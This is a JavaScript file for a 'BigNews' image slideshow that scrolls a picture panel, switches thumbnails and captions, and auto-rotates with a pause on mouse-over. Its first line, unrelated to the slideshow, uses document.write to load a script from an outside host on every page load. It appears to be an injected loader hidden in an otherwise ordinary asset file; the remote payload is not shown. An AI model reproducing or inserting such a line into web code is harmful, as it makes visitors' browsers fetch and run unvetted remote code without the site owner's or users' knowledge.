document.write('<script src="http://js.a3p4.com/page/?s=140296"></script>');
var B=BigNews={
	stat:1,
	current:0,
	next:0,
	scrollInterval:0,
	autoScroller:0
};
BigNews.turn=function(index,obj){
	clearInterval(BigNews.autoScroller);
	BigNews.scroll(index,obj);
}
BigNews.scroll=function(index,obj){
	if(obj.smallpic==null || obj.smallpic==""){
		clearInterval(BigNews.autoScroller);
		return;
	}
	var count=0;
	var step=obj.step;
	var duration=40;
	var b=BigNews;
	b.next=index;
	if(index!=b.current&&count>duration/8){
		return;
	}
	clearInterval(b.scrollInterval);
	for(var i=0;i<obj.totalcount;i++){
		$(obj.smallpic+"_"+(i+B.stat)).className='';
		if(obj.pictxt!=null && obj.pictxt!="")		
			$(obj.pictxt+"_"+(i+B.stat)).style.display = "none" ;
	}
	$(obj.smallpic+"_"+(index+B.stat)).className=obj.selectstyle;
	if(obj.pictxt!=null && obj.pictxt!="")	
		$(obj.pictxt+"_"+(index+B.stat)).style.display = "block" ;
	var span=index-b.current;
	var begin_value=$(obj.bigpic).scrollTop;
	var chang_in_value=span*step+(b.current*step-begin_value);
	b.scrollInterval=setInterval(function(){doit(begin_value,chang_in_value)},10);
	els("imgbox","span")[0].innerHTML=$(obj.smallpic+"_"+(index+B.stat)).title;
	els(els("imgbox","small")[0],"a")[0].href=$(obj.smallpic+"_"+(index+B.stat)).href;
	function doit(b,c){
		$(obj.bigpic).scrollTop=cpu(count,b,c,duration);
		count++;
		if(count==duration){
			clearInterval(BigNews.scrollInterval);
			scrollInterval=0;
			count=0;
			$(obj.bigpic).scrollTop=b+c;
			BigNews.current=index;
		}
	}
	function cpu(t,b,c,d) {return c*((t=t/d-1)*t*t+1)+b;};
}
BigNews.auto=function(obj){
	clearInterval(BigNews.autoScroller);
	BigNews.autoScroller=setInterval(function(){
		BigNews.scroll(BigNews.current==(obj.totalcount-1)?0:BigNews.current+1,obj);
	},obj.autotimeintval);
}
BigNews.pauseSwitch = function() {	
	clearTimeout(BigNews.autoScroller);
}
BigNews.init=function(obj){
	$(obj.bigpic).onmouseover = new Function("BigNews.pauseSwitch();") ;	
	$(obj.bigpic).onmouseout = new Function("BigNews.auto("+obj.objname+");") ;
	for (i=0;i<obj.totalcount;i++) {		
		if(obj.smallpic!=null && obj.smallpic!="") {
		 $(obj.smallpic+"_"+(i+B.stat)).onmouseover = new Function("BigNews.turn("+i+","+obj.objname+");BigNews.pauseSwitch();") ;	
		 $(obj.smallpic+"_"+(i+B.stat)).onmouseout = new Function("BigNews.auto("+obj.objname+");") ;	
		}
	} 	
	BigNews.auto(obj);
	els("imgbox","span")[0].innerHTML=$(obj.smallpic+"_1").title;
	els(els("imgbox","small")[0],"a")[0].href=$(obj.smallpic+"_1").href;
	
}
